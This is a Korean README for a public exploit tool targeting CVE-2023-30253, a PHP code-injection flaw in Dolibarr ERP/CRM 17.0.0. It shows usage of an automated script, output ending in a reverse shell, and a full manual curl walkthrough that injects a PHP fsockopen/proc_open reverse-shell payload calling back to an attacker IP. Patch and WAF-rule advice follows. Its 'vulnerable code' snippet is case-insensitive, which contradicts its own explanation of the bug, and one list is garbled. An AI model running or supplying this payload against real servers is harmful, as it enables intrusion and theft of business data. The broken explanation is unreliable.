
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (교육용 익스플로잇)
PHP 코드 삽입 익스플로잇으로 Dolibarr ERP/CRM v17.0.0에서 Website/CMS 모듈을 통해 www-data 사용자로 리버스 셸을 획득할 수 있습니다.
⚠️ 교육 목적 및 승인된 감사에만 사용하세요.
CVE-2023-30253은 Dolibarr ERP/CRM 17.0.1 이전 버전에서 발생하는 PHP 코드 삽입 취약점(CWE-94: 부적절한 코드 생성 제어)입니다.
이 취약점은 2023년 5월 Swascan(현재 Hacktivesecurity) 팀에 의해 발견 및 보고되었습니다. 취약점은 Website/CMS 모듈에 있으며, 인증된 사용자가 Dolibarr 내에서 웹사이트를 생성 및 관리할 수 있는 기능에 존재합니다.
Dolibarr는 Website 모듈의 페이지 콘텐츠에 PHP 코드를 삽입하지 못하도록 필터를 구현합니다. 그러나 이 필터에는 치명적인 결함이 있습니다: 대소문자를 구분한다는 점입니다.
// 취약한 코드 (단순화) - Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// 소문자 "<?php"만 정확히 차단... 아니면?
die("PHP code detected!");
}
필터는 소문자 <?php 문자열을 문자 그대로 찾습니다. 하지만 PHP는 시작 태그에 모든 대소문자 조합을 허용합니다. 즉, 다음을 의미합니다:
익스플로잇은 <?PHP(대문자)를 사용하여 필터를 우회하지만, 모든 변형이 작동합니다.
또한 필터는 콘텐츠를 저장할 때만 적용됩니다. 페이지를 제공할 때 Dolibarr는 추가적인 위생 처리 없이 콘텐츠를 PHP 인터프리터에 전달하며, PHP는 <? 시작 태그가 있는 모든 코드를 실행합니다.
인증된 공격자는 다음을 수행할 수 있습니다:
/etc/passwd, 설정)왜 치명적인가? Dolibarr는 기업용 ERP/CRM으로 사용됩니다. 침입으로 인해 고객 데이터, 재무 정보, 계약 및 내부 자격 증명이 노출될 수 있습니다.
이 익스플로잇은 5단계로 전체 공격 과정을 자동화합니다:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. 로그인 → Dolibarr에 인증 │
│ 2. 웹사이트 생성 → 빈 웹사이트 만들기 │
│ 3. 페이지 생성 → 사이트에 페이지 만들기 │
│ 4. 셸 주입 → PHP 리버스 셸 주입 │
│ 5. 트리거 → 페이로드 실행 │
│ │
│ 결과: 🎯 www-data로 리버스 셸 │
└─────────────────────────────────────────────────────────┘
특징:
pageid 감지fsockopen + proc_open을 통한 리버스 셸 페이로드requestsbeautifulsoup4또는 간단히:
pip install -r requirements.txt
# 저장소 복제
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# 의존성 설치
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
위치 인수:
옵션:
| 옵션 | 설명 |
|---|---|
-v, --verbose | 상세 디버그 정보 표시 |
--no-color | 출력에서 색상 비활성화 |
-h, --help | 도움말 및 예시 표시 |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE 익스플로잇
════════════════════════════════════════════════════════
대상: http://crm.board.htb
사용자: admin
LHOST: 10.10.14.5
LPORT: 4444
사이트 ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] 1/5 단계: 로그인 중...
[10:45:12] ✓ 세션이 올바르게 시작됨
[10:45:13] 2/5 단계: 웹사이트 생성 중...
[10:45:13] ✓ 웹사이트 's3a1f2bc' 생성됨
[10:45:13] 3/5 단계: 사이트에 페이지 생성 중...
[10:45:13] ✓ 사이트 내 페이지 생성됨
[10:45:14] 4/5 단계: 리버스 셸 주입 중 → 10.10.14.5:4444...
[10:45:14] ✓ PHP 코드가 성공적으로 주입됨
[10:45:14] 5/5 단계: 페이로드 실행 중 (트리거)...
════════════════════════════════════════════════════════
익스플로잇 완료
════════════════════════════════════════════════════════
트리거 URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
지침:
1. 다른 터미널에서 리스너를 시작하세요:
nc -lvnp 4444
2. 트리거 URL에 접속하세요 (익스플로잇이 이미 수행함)
3. www-data로 리버스 셸을 받게 됩니다.
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
수동으로 과정을 이해하고 싶다면(스크립트 없이), 전체 흐름은 다음과 같습니다:
# 쿠키 및 CSRF 토큰 획득
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# 토큰 추출
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# 로그인
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ 배운 점: 올바른
action매개변수는addsite이며, 일부 공개 익스플로잇에 나타나는add가 아닙니다.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 공격의 핵심: 올바른 필드는
PAGE_CONTENT이며,WEBSITE_CONTENT가 아닙니다. 많은 공개 PoC에 이 오류가 있습니다.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
이 취약점으로부터 Dolibarr 서버를 보호하려면:
# Dolibarr 17.0.1 이상으로 업데이트
# 패치는 `<?php`의 모든 변형을 감지하도록 필터를 수정함
Website/CMS 모듈을 사용하지 않는다면 다음 경로에서 비활성화하세요:
홈 → 설정 → 모듈 → Website → 비활성화
# PAGE_CONTENT 필드에서 PHP 태그 변형 차단
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP 주입 차단됨'"
이 프로젝트는 교육 및 정보 보안 연구 목적으로 만들어졌습니다. 명시적 승인 없이 시스템에 대해 이 익스플로잇을 사용하는 것은 불법이며 윤리적으로 비난받아 마땅합니다.
사이버 보안 전문가로서 저는 다음을 굳게 믿습니다:
제작자: Jean Carlos
사이버 보안 학생 | 펜테스팅 | CTF 플레이어
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| 필드 | 값 |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (높음) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 유형 | CWE-94 — Code Injection |
| 영향 받는 소프트웨어 | Dolibarr ERP/CRM < 17.0.1 |
| 권한 | 인증된 사용자 (모든 역할) |
| 패치 | Dolibarr 17.0.1 — 커밋 4f6055c |
| 태그 | 필터링됨? | PHP에서 실행됨? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| 인수 | 설명 | 예시 |
|---|
target | Dolibarr 기본 URL | http://crm.board.htb |
username | Dolibarr 사용자 | admin |
password | Dolibarr 비밀번호 | admin |
lhost | 사용자 IP (셸을 받을 IP) | 10.10.14.5 |
lport | 사용자 포트 (셸을 받을 포트) | 4444 |